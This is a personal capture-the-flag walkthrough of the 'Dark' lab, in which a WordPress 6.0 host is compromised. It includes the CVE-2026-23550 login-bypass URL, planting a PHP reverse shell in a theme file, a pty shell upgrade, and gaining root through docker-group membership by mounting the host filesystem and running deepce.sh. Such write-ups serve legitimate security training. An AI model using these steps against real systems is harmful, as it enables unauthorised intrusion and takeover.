HackSmarter Challenge Lab: Free Access - Dark (Easy)

 Here's the link to the lab: https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c/take

• Let's connect to VPN
• Ping our  host
• nmap -A our host
• Here we get our first inclination that his is WordPress 6.0 
• 
  
•  
•  It's been a while that I use wpscan, but I do remember it's a thing, one main source of vulnerabilities in WordPress is it's plethora of available plugins. 
• wpscan --url http://10.0.21.199 --api-token APIKEYHERE --enumerate p --plugins-detection mixed 
•  -enumerate p 
• this flag enumerates plugins, and the options are A/VP/P ( All , Vulnerable Plugins, Plugins) wpscan checks it's database and stuff, that's why we need the APIKEY
• You can enumerate more stuff like themes, users, config backups, db exports. 
• A lot of it is mumbo jumbo, while I understand the context I would have to dig a bit deeper.
• I started with --enumerate vp, figuring it would find a vulnerable plugin, but reverted back to P when it did not find something useful.
• --plugins-detection mixed 
• You either do PASSIVE/AGRESSIVE/MIXED detection methods. 
• While wpscan reported a couple of findings, we see a good one to test that includes Privilege Escalation, Unauthenticated one, the ones we love.
• 
•  Time to go digging for CVE-2026-23550
• I'll save you some time. According to this site: https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/#the-poc
• I use this as my payload; https://example.com/api/modular-connector/login/anything?origin=mo&type=foo Let's try it. 
•  Look at that we're in: 
•  It's really crazy how these things work. 
• Now we're in Wordpress as an admin, but that's only a step closer. I know we can probably get a shell with the Themes, maybe even use metasploit and get initial foothold to the OS there. I will come back a bit later and continue.  
• Let's try this one: https://khellwan.medium.com/from-wordpress-setup-to-reverse-shell-8c3be45c009c
• We'll update the IP of this php file https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
• Upload it to our footer-default.php
• Create a listener, save the file, and watch us wet a reverse shell. 
•  
• Now let's explore, usually web stuffz lives in /var/www, if we LS here we see user.txt 
• lets cat it out, and you have your user flag. 
• Other Methods: 
• There's many ways to do this after you have admin on WordPress, you can choose another PHP file to implement your shell in. 
•  You can upload other plugins that provide shell here's an example from GH; https://github.com/4m3rr0r/Reverse-Shell-WordPress-Plugin
• Now the shell isn't that cool , let's spawn a real shell , or at least a different one
• python3 -c 'import pty; pty.spawn("/bin/bash")' 
•  Explore some more:
•  
• Not sure if this is important.  
•  WHOAMI , I AM not ROOT :( , but I am www-data, and for some reason I am part of the docker group. 
• Rootless docker has been a thing but people usually don't set that up, because why, docker just works.
• Docker
• We're not after priviledge escalation we basically want to get the flag.  
• Let's create a container that mounts / into the container. 

• docker run -it --privileged --name root_access_container -v /:/mnt_host_root ubuntu /bin/bash

•  we can access /mnt_host_root on the container which is really / on the host , from here we can browse to /root/root.txt

•  flag{docker-is-fun-0385}
• But that's not fun let's try and get root.  
• Le'ts try this: 

  wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh

  chmod +x deepce.sh

  ./deepce.sh 

  ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami" 

  •  From here we can run other commands as root, maybe setup another listener on a different port, then reverse shell to that listener as root